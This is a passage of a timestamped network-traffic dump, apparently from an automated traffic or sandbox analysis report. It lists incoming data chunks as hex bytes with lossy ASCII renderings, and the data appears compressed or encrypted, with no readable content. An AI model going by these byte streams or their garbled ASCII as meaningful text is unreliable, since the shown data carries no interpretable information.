46 d3 90 d4 e2 25 48 39 53 6b 52 6a 65 3a 10 85 ff 38 df c2 f8 9f 40 8b 8d 02 db d4 34 03 8d 01 66 00 3c 3f 34 5c f3 a0 ee 
be 71 ea 6e a5 a2 db 15 93 5c bb 37 95 b2 fb c6 12 4e 2c 0b 12 6a ac 92 06 33 fe 68 57 6d b0 36 9c 1b 06 e8 31 76 fc 38 
03 64 23 08 d0 b1 e0 2f 25 38 17 69 53 21 f6 a6 1c 97 
Data Ascii: Qe!BH2T!&HMgg0%0.Y+n{L`|9& -~75U M`v2JynFZ5\u0,i&jZ`un]0F%H9SkRje:8@4f<?4\qn\7N,j3hWm61v
8d#/%8iS!

2022-01-13 21:05:25 UTC 1272 IN Data Raw: 0d de 94 b0 87 47 2f a6 09 2d fb 43 3a c4 60 50 de 64 3a 2a d3 d5 07 ee b7 8d 1b 84 c2 5f c5 53 cf 3d e0 0b 
18 1d d3 62 c9 c2 fe 8d d2 6d 96 4e 12 ce 15 d3 79 7c 4c ba 57 aa 4a 9f 8f 70 ff 65 5c 23 a6 9b ac 60 49 aa 49 77 0c 77 
6c 52 d5 18 cd a8 73 02 dd 9b 35 41 db b1 50 e3 8e 7d 5e de f2 d6 a3 11 3a 66 56 c2 4c c3 01 76 1c 0f db 23 f3 61 a2 ff 
81 79 7d 93 75 1d ad 3c b0 2a 26 de 34 69 50 7c 48 59 85 33 a5 43 16 66 00 e4 10 81 d8 39 85 b4 2f 5c 18 c2 13 aa 34 
0e 39 4c c9 56 67 69 1b 6e 62 a9 7d af 62 ac 44 cb 84 9b 9a 62 2c dd ef e1 9a a0 77 37 d7 f1 1a 63 36 eb 04 9e a4 4c d4 
a9 b2 f3 8e cf ca ff 95 de b3 92 03 37 58 81 48 4c d9 72 d3 34 12 4e d2 48 60 14 6e c7 ce 6e fb 48 ce cf 3d 52 80 24 8a 62 
4e 04 35 3b 42 55 c7 89 dc e7 c2 ff e5 b9 81 99 8c 45 5a 
Data Ascii: G/-C:`Pd:*_S=bmNy|LWJpe\#`IIwwlRs5AP}^:fVLv#ay}u<*&4iP|HY3Cf9/\49LVginb}bDb,w7c6L7XHLr4N
H`nnH=R$bN5;BUEZ

2022-01-13 21:05:25 UTC 1273 IN Data Raw: 81 8c 6c 8f 1a ad c6 a8 01 62 92 3f e5 61 0c 15 bd 9d e0 bf 57 82 7f 0a e0 77 7b 5d 20 1e fc 0f c4 73 39 3a ef 
e0 2b 7f 00 90 07 bd 3e 70 56 a3 05 42 4c 93 5e 70 1a e9 50 d1 c1 7e b1 73 fd 41 7b 48 93 a2 c7 42 70 db ce 34 57 c0 9f 
2a 41 3e 4f 81 dc ed 0d 2e 30 18 cd 7e 01 ac de 65 b7 d5 6e 81 9c 1f 74 29 3a 53 09 f9 a3 2f 60 fa 40 d7 ba e5 41 75 ae 
84 ea 0c e9 a0 d1 1d d2 09 11 e4 5b fc 8c 33 5d b7 37 ec 37 9a 00 83 9c 45 99 8c aa 06 ab 20 5b 36 5b 8c e5 81 e9 f9 12 
31 c0 7e 31 fc 3e 18 52 81 c0 1f a0 ce 0b 94 91 40 87 9d 51 e3 1c c9 34 f1 5e 38 48 27 30 21 9e a2 17 ca b3 4f c8 c2 9b df 
ab f0 72 a6 c4 4b 87 8e 56 72 84 8e 7b e7 28 bd e0 3f 7b 1e 23 14 30 6b 6a d2 0b 48 15 9e c8 df 9f 02 e3 30 bc 9f 2b c7 
ac 93 36 a2 59 72 0f 80 3b ef bc a7 a2 f3 7d 9b c6 
Data Ascii: lb?aWw{] s9:+>pVBL^pP~sA{HBp4W*A>O.0~ent):S/`@Au[3]77E [6[1~1>R@Q4^8H'0!OrKVr{(?{#0kjH0+6Yr;}

2022-01-13 21:05:25 UTC 1274 IN Data Raw: f0 7d e7 b0 0f 8b 7b 11 aa b6 f4 a6 6a d9 d5 8f 5e 51 13 6e c2 81 b2 ab 9d de ae 76 e6 45 ed 50 2f c2 4e 26 51 
55 7f a1 9c d8 42 26 79 84 b8 a3 af 4d 69 5a ca a4 26 44 65 28 cd 5c 69 c9 86 1a 42 54 43 b4 72 8f 6b 51 bb 7d 71 14 89 
aa 0e 5e a8 c5 fa bb 62 5f f2 44 84 20 e2 d7 44 d4 24 4e 4e bf 0f 41 59 72 85 42 8d c1 a7 81 8f 1b 2d 9c a6 bf 86 f2 03 e2 
78 62 d9 18 fb dc f4 e7 fe 5a 4e 88 f1 e8 3a 53 57 fa ec f2 f8 1a 9f f3 a0 cf b8 fb 78 e9 48 59 26 fe da 95 13 77 21 2d 31 87 
ab b0 f7 4e 29 ba 6f 73 7d 98 7f 5e b6 2f db 63 c9 1f 1c bb 7f 53 ae 48 69 a9 31 4c 50 d1 99 0b 74 ae ec e0 aa 3f 31 fd ad 
a3 38 bf 42 3f fa 50 ed 9d 9c e4 38 bf d5 5e 1a 3a 27 16 78 6e 6f d5 6b 74 14 9a 80 dc eb 4e 77 d8 1e 8c fe 62 bf d3 c4 e7 
2d 71 63 e0 b1 8b a3 59 3c c5 d3 cc 38 
Data Ascii: }{j^QnvEP/N&QUB&yMiZ&De(\iBTCrkQ}q^b_D D$NNAYrB-xbZN:SWxHY&w!-1N)os}^/cSHi1LPt?18B?P8^:'
xnoktNwb-qcY<8

2022-01-13 21:05:25 UTC 1276 IN Data Raw: 68 6c 37 d9 fe ef ea 6c 83 40 6f 25 0b e5 6f 75 f5 29 3d 1d e2 91 01 3b 0c a2 64 5f 8a 46 3b 28 96 31 dc 25 fd 
9f 92 31 92 df b9 48 5d 28 1a aa 75 16 78 89 4a 1f 1f f3 7a a2 1e c9 fb ff e4 2c 10 f7 b2 a0 93 eb a2 4e 86 4f 19 21 e6 6e 
ff 8f 4d ce b2 0b bd 00 fe b0 08 7e 3f 0d 3f 1a 0d ec 72 88 68 a8 ea 5c c2 b8 3a 9e 32 79 f0 d6 d2 9d 52 c9 29 67 ce a9 a0 
47 8b c9 29 9b 6a e6 38 67 9d 5f 62 82 c7 55 e2 55 2b 76 a9 64 97 a5 33 55 a7 cc b3 60 99 d6 5b f7 c8 aa 1c d6 ac ba f5 
26 76 73 c4 d7 1d 4c cd 38 f5 da ba 01 4b 26 47 04 fc 60 84 43 cf d3 93 e2 14 d3 a3 29 8f 6b b0 a3 d2 77 8c da 6e 83 e8 
a9 32 f0 82 53 dc c8 ef ba 77 cc ad 58 34 34 45 d4 70 62 27 9c 83 e2 6c cc 37 3b 1c 4b 89 43 33 0b 18 9c 55 10 f0 a2 05 
d0 9e 14 51 9a 63 cb 0e 75 18 ff 8c 17 4d e9 46 
Data Ascii: hl7l@o%ou)=;d_F;(1%1H](uxJz,NO!nM~??rh\:2yR)gG)j8g_bUU+vd3U`[&vsL8K&G`C)kwn2SwX44Epb'l7;
KC3UQcuMF

2022-01-13 21:05:25 UTC 1277 IN Data Raw: 35 be 92 9c 54 6f e3 5b cb 6e cb fb 87 34 1a 88 37 39 88 2b a6 0e 0c b6 b4 02 e6 e8 0c c8 f4 46 a0 3a 6d d6 
7a 1b dd 6d a7 8b 9e 60 32 de 59 17 5f 8c 76 6d 55 2a 37 75 f8 b7 dd c6 d7 7e 25 6e 2e ea fa e1 9e b7 58 b1 fb a8 5c 47 
d3 eb 5b e3 7d 8a 93 05 84 78 79 d3 92 50 52 61 9e 5d 71 fb 12 5b 35 61 ef 9b 66 87 03 63 d7 e9 2d 4b 60 03 bd 83 02 
7a 1d 8b 72 e8 93 d7 e9 11 da c9 b2 6e 88 f7 9d 75 6e 99 87 23 ad 29 30 07 02 9e 1d c0 82 98 91 fd cf a3 9a 13 f3 80 df 
c4 15 dd 7e c8 71 87 38 3b 7c c3 db fa 9f 97 c9 5b 9d 2e 97 60 9c 2e f7 96 f4 14 12 bc aa 29 2a 2d dd 0f 89 0e 14 e7 8d 
5d 77 2a 26 16 a7 2c 13 c6 b7 2c 5e 3b 37 86 f4 52 39 bc d1 b7 22 62 4b f4 34 fd 9c d3 4b 9f 2e e0 8b 81 77 17 7a b8 23 
02 d0 01 e8 e1 cd 08 b0 9d 4a 25 6e cc a6 8d a0 2f 96 3e 8a 
Data Ascii: 5To[n479+F:mzm`2Y_vmU*7u~%n.X\G[}xyPRa]q[5afc-K`zrnun#)0~q8;|[.`.)*-]w*&,,^;7R9"bK4K.wz#J%n/>

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1278 IN Data Raw: 29 57 49 53 94 1a f9 a7 e4 d5 9d 11 3d fa 51 06 c5 fd 9c 98 cb d7 eb 6c d1 1c c8 9a 28 2f 43 6a 74 cb 99 b8 e5 
be 1a 50 78 4e a2 7c a9 6b 39 01 e0 70 bd 71 35 cc 84 6b 3a 79 2e 6b 0d 16 38 22 b1 2b c2 a5 d8 f0 4c 37 d2 df b1 63 b2 
c4 8e 45 34 d6 38 8d 9a 8d 0a 70 49 a0 19 30 c3 f8 8e 7b 39 e8 e0 f5 89 fe 12 af 36 4e c9 60 28 8f d5 f0 1a a2 c5 94 8d 
d5 6a 04 52 29 40 88 ce 64 b4 0b b4 ae 56 6c 80 35 23 55 e1 00 ed ca e8 da ee 3d a7 82 bc ec 4a 2c be 45 a0 8f f1 fa 76 
aa 5a f6 d9 94 db c3 d5 00 c7 d0 da 29 1d 43 a8 e0 59 92 fb 47 2a 15 47 d8 27 13 78 da 1a 97 59 81 27 54 7b 82 aa bd 00 
09 2c 90 28 02 6d 38 7c dd 02 a8 ec 6d 02 f6 6d 54 83 ab 3f 70 43 05 3e 5e bb b1 c7 a5 a2 fd 03 7b 44 8b 45 fb ae 6f b6 
60 0b 8a ec d8 9a 30 51 8c 0f b9 7a d1 b5 15 57 4a ef 
Data Ascii: )WIS=Ql(/CjtPxN|k9pq5k:y.k8"+L7cE48pI0{96N`(jR)@dVl5#U=J,EvZ)CYG*G'xY'T{,(m8|mmT?pC>^{DE
o`0QzWJ

2022-01-13 21:05:25 UTC 1279 IN Data Raw: 5b da e6 01 0f df 10 39 7c c3 bd f8 04 8f b3 5f 37 c1 7c 6a 84 a0 a0 d5 5f fe f6 db 1b 97 c9 5f 74 d7 bb 25 48 30 
dc b7 6f cd 7f eb 75 91 b6 8d 8e 53 8a 2f 44 12 9b a2 70 f2 bc a4 33 f5 25 76 d4 36 b5 c6 71 b3 d5 3e 39 3d eb bc 7b 7f 7e 
d1 ed f5 ff 1c 0c 47 97 57 1f 3e 7e fa 4c 2c 1b cc d2 e9 cc fb f2 75 be 58 fa ab 6f eb 20 dc dc de 7d bf ff 71 70 f8 f2 d5 eb 
df 7e ff d7 bf ff d0 e8 84 03 42 10 85 ad 79 ad 55 5e 98 a0 66 55 5e c0 bf e7 63 93 fe af d2 ff da 8d 81 e7 31 fd f6 d6 ad bb 
a2 7b 53 d3 16 21 2c 07 54 b6 b8 2a bd 3e 45 1d ce 9c d6 77 e8 14 0f 6c c2 47 c5 22 ee e8 e5 f5 fc 06 fa 8a 3f e6 4c df 02 
2a a0 26 72 03 5a 0a 47 39 43 b5 15 a3 da 7c f6 8a 55 b5 a6 aa bc b1 31 cb ae e9 54 0e 63 5f e0 91 45 23 73 b5 83 fa dc 
04 35 c5 a9 bc 4c 7d 7b 89 df 66 
Data Ascii: [9|_7|j__t%H0ouS/Dp3%v6q>9={~GW>~L,uXo }qp~ByU^fU^c1{S!,T*>EwlG"?L*&rZG9C|U1Tc_E#s5L}{f

2022-01-13 21:05:25 UTC 1281 IN Data Raw: 7e 3a 4a 92 71 b3 d1 6d b6 cf 6b bb 68 9b c9 02 17 c0 13 b6 f6 47 c5 54 c8 ac 33 4a 31 53 6e 2c 62 88 17 2c 
6c 41 59 1c 17 c6 dc 9c 55 31 18 cd df d1 0b 09 06 c6 1c 4d 6c 1a d0 00 8b 62 ce e3 a4 34 96 e5 02 33 a1 b9 3a ad 2e 28 
76 d6 96 4e 0f 60 f1 ac 32 8d 91 31 53 05 b4 8f 35 d3 ae 1f 68 94 a4 36 e3 d1 12 39 50 09 89 f2 eb 16 fa 06 92 14 a7 53 
aa 94 d2 53 da c9 7c 98 80 57 da 06 bb 01 45 2c d1 c6 46 d5 c6 26 d5 c6 36 d2 02 87 2c a6 f6 27 29 af 0d 64 da 89 41 1b 
4e 84 42 69 92 22 f8 69 cc 52 a4 ca bd 34 34 d4 8e 65 52 d3 2e 0d c3 03 0e 98 2f 40 ec 6b c3 78 23 10 26 e4 82 6f a9 b8 
73 66 d6 5f a8 76 e9 b1 71 8e 19 a2 55 a9 d4 57 7c 77 37 73 8f c8 a2 62 aa 3f b8 d5 d6 f3 e7 f5 29 0b 21 51 31 39 95 a7 
d1 28 87 43 d3 b3 7e d8 c4 45 54 49 de 55 2f 3c 60 30 b2 
Data Ascii: ~:JqmkhGT3J1Sn,b,lAYU1Mlb43:.(vN`21S5h69PSS|WE,F&6,')dANBi"iR44eR./@kx#&osf_vqUW|w7sb?)!
Q19(C~ETIU/<`0

2022-01-13 21:05:25 UTC 1282 IN Data Raw: d3 8c 52 0e d1 cf 90 40 f5 b6 54 cd a0 27 f5 09 5e 47 aa aa 32 75 85 56 81 53 ea 73 2a 43 1e da 92 b9 92 4d 
26 bf 25 9b ff 92 3c d8 f5 9b 95 d9 7d c3 4d 73 1e 26 4b 35 bb 02 ae 06 66 4f 8d d5 17 3b 75 01 57 ca 4a 4b 38 ce 49 f9 b3
a1 c0 61 12 e8 e3 fb 4e ea ea 6a 27 85 c7 cc e6 18 dc b2 41 95 ba c2 8a 73 87 bf 9b 6a e3 53 6a f4 3f a9 06 1f 14 63 61 
e1 32 a7 8e 98 5d 92 75 7f 4a 56 6d a5 29 cb 52 52 16 53 5c 9e 52 bf 95 82 dd 4b 1c 60 99 a9 78 ee 4f a3 25 eb c9 62 c9 
6a 8e 33 fa 31 86 30 d3 d7 6e 01 03 30 51 28 20 4d dd 26 77 9c aa b5 a9 ac 35 5b a9 a8 ae c5 16 45 ab 2e aa 6b a6 aa 
de 2c dd c0 26 2b 55 24 18 35 f9 78 39 a1 56 d2 f4 23 cd f1 6d b6 6e 8c 6e b3 6f e3 20 d4 4e e8 7f 92 01 48 54 9d 04 40 
a4 a6 d0 1f 34 a2 20 d0 fe 61 46 14 c5 5f 53 e8 8f 3f 24 
Data Ascii: R@T'^G2uVSs*CM&%<}Ms&K5fO;uWJK8IaNj'AsjSj?ca2]uJVm)RRS\RK`xO%bj310n0Q( M&w5[E.k,&+U$5x9V
#mnno NHT@4 aF_S?$

2022-01-13 21:05:25 UTC 1283 IN Data Raw: b6 ae 53 75 3b f0 65 35 70 ea 58 a0 c4 2f 58 dd c1 d0 5a d7 1d 20 5b d8 a0 6e 18 1d 64 50 96 e1 76 66 f3 64 
a4 3b 82 2b 18 80 ae 6e 09 57 32 ba 8b 73 b9 31 a3 29 eb 57 de cc 65 a0 28 80 ae d0 01 9b 56 36 62 46 42 6a ad c1 94 
56 77 98 b0 f4 43 5e fb c8 37 42 6a 37 66 58 6c 9c 30 de f9 39 6c 3f 93 3f 5d 00 32 50 64 c7 64 0c 4f 99 95 c6 37 b7 63 da 
f9 fe 9d 0f e7 fb 77 fb 82 5a e7 d4 86 24 6a 39 30 93 0b 98 bd 4b 53 77 84 f3 c8 20 67 bd 97 41 7f e7 b4 5f 65 0b 6a 13 0e 
72 22 25 61 dd b6 9d 46 f2 44 db 5a 4e 9a 60 2d 40 5a 09 01 f1 4b ba 44 33 13 29 7d c6 71 7a 42 ed 90 92 d4 ae 77 5b 82 
71 44 75 05 aa b0 82 0a a9 55 e8 1e 80 1b 86 37 a1 c6 84 f2 36 38 94 5a 39 86 b8 c8 97 1c 03 c1 5f d4 06 1c 76 31 65 85 
a0 92 93 07 99 1d b0 f4 e8 6a 9a cb 2b af 25 93 80 e6 
Data Ascii: Su;e5pX/XZ [ndPvfd;+nW2s1)We(V6bFBjVwC^7Bj7fXl09l??]2PddO7cwZ$j90KSw gA_ejr"%aFDZN`-@ZKD
3)}qzBw[qDuU768Z9_v1ej+%

2022-01-13 21:05:25 UTC 1284 IN Data Raw: d5 a9 a5 eb d0 36 57 62 3c c0 eb 14 45 67 68 5d b2 16 c0 44 58 d7 23 50 dd 5c 61 2a fd 3e 0f 3d 34 6c f4 76 9f 
3f 42 f3 18 a8 b0 53 2f 9a e8 c6 cb 97 2f bb 06 f9 40 ed 2e 39 59 96 dd 0a bc c1 e9 74 e8 6c 36 86 a5 ee 38 e1 d4 23 6b 
34 0e f8 ae 4d 60 32 a7 cb 55 91 77 53 43 35 be 71 26 f9 f8 45 51 4f 2e 69 ae 44 d4 0c 99 9d 04 05 36 09 c7 bc 0a 79 5c 
90 08 05 bb 85 54 72 9f fa 86 55 2f 35 9f 26 a3 d0 4f e5 dc 80 47 97 3a 98 4c 73 90 74 66 cb bd 2e 15 53 00 02 02 de 12 
40 de c8 77 a5 73 04 e4 c6 c6 66 6f dd 5e 91 59 18 ca 74 a3 03 af ec fa 08 b4 b3 29 4d c3 4b d6 72 23 0f a8 52 ff da 3e a1 
e6 b5 7d 5a a8 d2 d7 72 40 9c 46 aa 8b f4 a9 4e ac 04 49 ba 17 dc 7b ab e0 ee d9 6b ae a8 02 eb eb 71 4b 82 ec df 53 3a 
af c3 94 9b 11 3d 84 d3 67 e4 01 29 03 da 7b b5 58 
Data Ascii: 6Wb<Egh]DX#P\a*>=4lv?BS//@.9Ytl68#k4M`2UwSC5q&EQO.iD6y\TrU/5&OG:Lstf.S@wsfo^Yt)MKr#R>}Zr
@FNI{kqKS:=g){X

2022-01-13 21:05:25 UTC 1286 IN Data Raw: 83 cf c4 f1 0b d4 67 42 bc fa 34 bd 00 04 9c 2a 58 25 6c 98 72 1d 01 02 ad 62 2e 84 37 22 95 3c 34 1f 03 85 23 
57 8e 7d fb e9 f0 fd e1 d1 97 43 f3 d2 21 97 7b 30 cb a3 c3 ef 27 7b 87 ef 4f be 1f ef 1e 1c 7d de 7d 6d 3e 26 6b df 76 cd 
27 e4 eb ae f9 94 fc b5 6b fe 0e 8a 93 23 ac 3b 37 4e 83 7e 7c 8d 40 76 c7 00 38 c4 be 68 9e ea d7 8e 91 57 01 21 c4 01 
b6 01 6f 20 b8 e5 f9 15 8b c9 e3 df bb 92 98 ff ac 98 47 30 85 72 ab 96 a5 18 ec 97 2c 72 92 c1 9f f3 33 8a 91 ed a2 34 f7 
d3 a9 9c c4 70 2b 5c c3 51 0c 62 60 bd 2c 4a b3 0d 87 42 bc 28 8e 68 bb 0a 01 40 2b 0e 62 20 2c 33 60 70 ec 24 a5 ee c5
69 0c 02 9b b1 22 5d 50 9f 6d 79 d0 27 69 8b 5c a6 4e 82 c5 2c 84 27 ef 96 bf da 80 4b 34 4f 91 92 9a 2d 15 50 8a 02 f6 
2b 7d db 11 0b 0d 9a b4 3a 9b 29 20 b9 ad ed cc 
Data Ascii: gB4*X%lrb.7"<4#W}C!{0'{O}}m>&kv'k#;7N~|@v8hW!o G0r,r34p+\Qb`,JB(h@+b ,3`p$i"]Pmy'i\N,'K4O-P+}:) 

2022-01-13 21:05:25 UTC 1287 IN Data Raw: 15 e3 76 db ba b7 e9 be 7c f9 b2 67 c8 c1 57 f7 0e cd b9 01 d0 b6 a0 0f 5d b4 7b 26 da 82 00 0e eb 41 29 2a f6 
5d 73 d3 45 06 11 d6 47 01 f4 3f 8a 81 fe 2e 16 23 84 f3 79 f3 36 1e b9 56 e8 2e 6d e3 7c 3f e8 e8 82 44 1c 9d 09 ef 9e 8b 
ea ae 3b c7 8a 6b 4d c7 52 9d 14 8b 4f 96 91 09 29 fa 3e 9e 85 2d 16 f8 2b e8 af 80 4f a9 72 95 ec bd ca 65 f1 52 cb 62 31
76 0b dc 50 15 79 6c 19 c6 83 b2 0f ea ef 8d 32 c2 a8 0e 83 5c 2f 05 91 00 b4 bc 17 0e 2a 7b e8 cc bd aa 9c cd bd 37 a6 
cd a0 bc cd 6a 02 27 07 a5 3b 68 a2 89 b0 8b 33 95 d2 47 2b 7a 74 dc 92 fe 1d 54 88 b6 34 e8 cc 1a 49 69 83 4b 01 90 
88 1f 4a d9 3c 03 c1 12 37 a4 b7 84 03 73 d2 d8 3c cd 48 fa ab 7e 55 2f 0d ca 0d 0f f3 26 9a ed 20 e5 fb a5 23 84 30 3a dd
c7 04 81 5c 17 c9 e1 e5 fd e0 b2 5e e9 a1 e2 6d 
Data Ascii: v|gW]{&A)*]sEG?.#y6V.m|?D;kMRO)>-+OreRb1vPyl2\/*{7j';h3G+ztT4IiKJ<7s<H~U/& #0:\^m

2022-01-13 21:05:25 UTC 1288 IN Data Raw: 2f 1f 7f bf a2 c9 a4 73 9e 68 86 b8 54 e7 7b e2 22 8b 63 54 3c f4 b5 bd 29 08 4b c0 a2 97 a7 82 1e 1f 13 9a f2 
03 ee dc db ba f4 18 0d bc 9a 26 8d 9d dc f3 8a 04 ab 8e e1 e1 9b 68 3e f5 5a 13 1a 5f b0 98 b4 b4 87 ed 35 d6 7e a8 11 
94 b1 c4 18 5a c2 84 cd f3 1c 9e e5 cc d3 d6 34 6a 89 b1 8f a9 c3 c6 50 7f 36 43 e1 cf e7 ad a1 d4 19 07 89 d9 7a d8 fe f3 
e4 e8 b0 23 5a 08 7d 6e a4 b6 3c ee 56 50 9c 29 55 59 60 ff 14 ef 6e 99 6c 8a fe f6 9f 8e f7 76 a2 c9 0c a4 e5 69 aa cb 8d 
e0 19 ca 81 d4 c8 d3 d1 80 
Data Ascii: /shT{"cT<)K&h>Z_5~Z4jP6Cz#Z}n<VP)UY`nlvi

2022-01-13 21:05:25 UTC 1288 IN Data Raw: 13 c0 36 fd ed 56 3f bb 6a 1b d9 56 40 7c 78 fd 5b d7 c5 aa 1a 7d dc d5 83 ee e6 73 a0 6c 1d 73 70 36 dc 1c 
b6 cf b6 16 90 f6 f7 d6 d9 d9 70 31 f8 db 84 df df 78 62 fe fc 68 d0 ff cf 70 41 1d 58 7c d3 19 d3 e9 c5 7f 8c ad 90 b8 1e 72 
ca 51 93 0b d9 07 57 c7 9b fc 3c 8e 40 55 ea c1 90 02 95 7b f7 9e a7 3b 42 8b 75 bc 9c e7 9e d7 89 49 6e 76 b6 d1 c2 43 
93 74 4f 39 64 cf c8 c5 8a e2 b4 83 42 f9 15 8b 77 00 3d 75 03 08 51 35 21 23 e3 ea e0 45 3d bc f7 95 9c 5d d3 ee f0 d1 
83 ad fc ca 55 46 a6 9e 74 46 51 39 75 1c 4e fa cb 2d 60 cf 90 a3 57 4e bc 1a 9a d7 f1 e9 64 f8 a8 6f a8 3d e2 b5 00 28 3e 
40 c7 87 a8 3e 35 5a 7a c4 54 27 03 ea 93 cc 71 ea 39 f9 a0 84 d5 8a a2 7a d5 35 41 b9 bc aa 37 ce 5d 49 d0 3b 26 df 59 
33 8f 68 1b 74 32 b3 34 a3 48 fb 81 69 e3 54 4d 
Data Ascii: 6V?jV@|x[}slsp6p1xbhpAX|rQW<@U{;BuInvCtO9dBw=uQ5!#E=]UFtFQ9uN-`WNdo=(>@>5ZzT'q9z5A7]I;&Y
3ht24HiTM

Timestamp
kBytes
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2022-01-13 21:05:25 UTC 1290 IN Data Raw: 94 19 fa 5f 8b af 8b 6f 8b 27 9e d1 37 60 2e 9b ed 47 5b 52 c9 fd 0d 87 49 5a a0 d1 e2 d8 3e 78 f6 1a 68 c0 67 
8f b6 c8 71 93 f6 d7 a2 2a 55 50 6f 5f 10 6e 5b 10 a2 29 4a a2 b6 57 d2 c4 bf f5 c1 43 6d c8 65 cc b3 1e c0 b5 a8 17 90 11 
99 00 f2 d8 a3 1c bb 26 19 0a cd bb 1e 20 03 e7 c6 c5 c1 45 db 6f 3b f0 8f 65 f2 c0 fe f4 6e 66 7a 02 cc f4 74 99 99 72 c6 
76 c2 f9 f2 e7 06 fd 6e 59 2f aa da 60 f2 30 25 75 1a fc f0 c5 43 65 a3 16 81 a2 0a 00 e8 80 24 86 ae f7 d7 cf 7a c6 e0 ef 
b3 f8 6c 7a e6 a3 39 01 f7 21 ea b8 c6 a3 b3 1e f2 0c 19 57 a9 ba 7b fe d3 31 1f b5 c8 cb f6 ff c0 42 81 9e fe f7 83 05 22 
a7 c0 6c 77 d5 00 ab 24 a0 b1 b1 a2 35 41 06 38 01 51 e9 8d a5 b8 46 02 c4 34 5d 33 35 03 14 82 01 fc 0e 81 e5 e6 0e 
dd 96 ff a2 72 8a 76 2b dc 70 f0 24 8d df b7 
Data Ascii: _o'7`.G[RIZ>xhgq*UPo_n[)JWCme& Eo;enfztrvnY/`0%uCe$zlz9!W{1B"lw$5A8QF4]35rv+p$

2022-01-13 21:05:25 UTC 1291 IN Data Raw: f2 68 a1 de 34 65 31 82 cf 1e 33 3d 62 f9 d2 af 3b 9d 19 8d a1 3f d9 6d 66 90 b8 be fa d0 e1 0f 64 26 32 92 2b 
9e 62 8a 56 8d 3c b6 9e 18 9b 92 65 d4 7b c4 6b 42 49 43 c3 18 e4 be 93 d2 00 e5 73 d8 ed 9f 60 aa f2 ec 6f 58 15 e0 d1 
59 ad e3 45 93 4e 02 7b 07 23 4c ed f1 e6 61 13 b5 5c f1 6d 0a 50 29 40 6a e2 e1 1b 20 bb 25 95 75 dc 8e 68 2e c9 3b 69 
f3 f3 9d 58 46 e0 20 69 7d 4c 20 9f e5 51 6a 5d 9b 1b 9f a3 2b e8 e8 b5 5c 24 c0 7e 8c c4 ec 62 2c 6e 3a 1f a7 9f 43 76 85 
01 d1 04 10 bf f0 60 5f a8 43 78 18 be 12 b9 70 47 02 76 63 c3 eb a0 9b 25 f6 94 1b 57 3c 45 97 ca 23 51 64 92 ca e2 cd 
c7 8d 8d a6 a8 f8 ac 83 40 15 c7 d2 45 e3 80 12 8b 45 2d a2 7d 43 41 7e 20 57 2d 93 0f 6a b1 a8 65 e4 55 84 2d f1 90 d3 
b2 1c 34 be 5d a1 9f 1d 2f 4c 40 9b b9 41 00 e3 65 
Data Ascii: h4e13=b;?mfd&2+bV<e{kBICs`oXYEN{#La\mP)@j %uh.;iXF i}L Qj]+\$~b,n:Cv`_CxpGvc%W<E#Qd@EE-}CA~ 
W-jeU-4]/L@Ae

2022-01-13 21:05:25 UTC 1292 IN Data Raw: b7 16 45 cf f9 9f 47 f6 63 c0 5e 58 b0 b5 ca 5c a8 13 c5 d5 18 69 3f c4 07 e0 72 d8 e4 fd 28 f2 b3 84 32 af 8a e1
34 24 16 fc a8 ee 29 19 ed bd 33 aa 07 94 83 24 1c d1 48 86 94 c3 6f d5 ac 4b 67 ad b8 da 84 c4 1d 9a 2f 53 37 07 f1 60 
98 59 71 05 3f aa 61 1e f3 1b ff 42 7b 2a 86 ee f5 6f 33 13 ed d2 45 0a a8 17 62 54 07 e1 78 1c 26 7d d1 a3 59 4b b6 84 
26 a3 d4 ba 98 f7 7b 26 fe 90 40 4d 1e 31 ea 01 b9 13 81 40 8a 57 8b a9 65 60 8d 67 a0 f5 30 34 56 a0 44 5a 4d b1 a8 7d 
fb ca 31 05 42 92 79 8c 11 7e 27 2c 1d 45 9e e9 10 d9 9e 19 10 b5 0a 86 35 8c bc 1b d3 25 95 41 9b 1e f9 39 35 fd cc ea 
bd 14 e0 eb 27 7e 1e 2d 53 c4 10 1e 49 d9 4e 09 1e fe ca 41 6c e7 a6 b1 d4 af db 9b ba 2f 60 d5 0a c9 b0 f7 12 3f 24 52 
78 a2 8c 72 09 d2 82 6e b8 ca 0c 7a 7c 9d 94 40 8d 
Data Ascii: EGc^X\i?r(24$)3$HoKg/S7`Yq?aB{*o3EbTx&}YK&{&@M1@We`g04VDZM}1By~',E5%A95'~-SINAl/`?$Rxrnz|@

2022-01-13 21:05:25 UTC 1294 IN Data Raw: 40 98 89 88 dc b6 2b ab cb e9 b2 72 ba 03 76 ed 32 fe 55 ec 16 14 15 31 28 5a 01 13 aa 1e 8b 87 bc 11 ae fa 
67 1e 08 9a 30 e6 df 31 ba 9f d2 40 a7 d3 19 03 85 68 f1 68 cc f0 32 2c 2a 60 5c 66 0f bf f9 a0 96 85 1c 77 c4 f0 b2 e4 35 
a0 ca 2c 1d b5 c6 e1 24 4c 45 45 b3 1c d6 d4 1b 6a 8d 20 dd 69 02 a9 f2 b5 a6 55 01 a7 73 ab e3 8a b8 d3 0e 7e 37 61 
2d b7 77 88 d8 d2 02 7c f2 5b 85 56 69 a4 74 8a af 0d eb 18 da 41 94 ed 17 86 70 f1 1d 5c f2 a6 61 a0 78 2e 01 cb 0f 8b 
f7 c6 37 38 82 db 6f f9 eb aa f5 1e 0c 2b 9f 72 79 5b 97 ff 05 b6 0c b8 47 e1 a9 c3 67 91 3b 06 71 70 bb 61 ec ce c7 a8 08 
e6 bb 54 2e 51 be eb 61 8d 7e ef be 2c 2e 56 dd ba 05 36 51 a3 ad e9 95 0b 59 b4 53 5a ec f1 08 d8 e3 97 af 2a a1 46 ba 
2f d0 e5 5c 0e 80 b4 a4 f3 95 6f 63 d0 50 4b 7a 60 14 
Data Ascii: @+rv2U1(Zg01@hh2,*`\fw5,$LEEj iUs~7a-w|[VitAp\ax.78o+ry[Gg;qpaT.Qa~,.V6QYSZ*F/\ocPKz`

2022-01-13 21:05:25 UTC 1295 IN Data Raw: 58 72 b6 45 f7 ef ce c8 e3 d6 2d 97 bb d3 1a 16 e8 04 78 cf 19 0f a2 80 e4 e0 73 c7 4d 12 34 17 da ae a9 b9 40 
ac 12 99 c9 9f 39 13 87 0c 20 b5 32 19 63 f0 bd 81 a5 73 cd 20 a8 f9 8f e0 55 9e 9a 43 58 10 60 e4 53 d7 30 cf 3d dd 23 
1a 8d 43 ba 89 07 c1 e2 15 3f 2d b8 a9 2d 55 e2 77 81 30 8c 28 ff fa 12 09 02 fb d6 65 e3 f1 8c 7a 1e ec 1f 18 25 bc 7c 10 
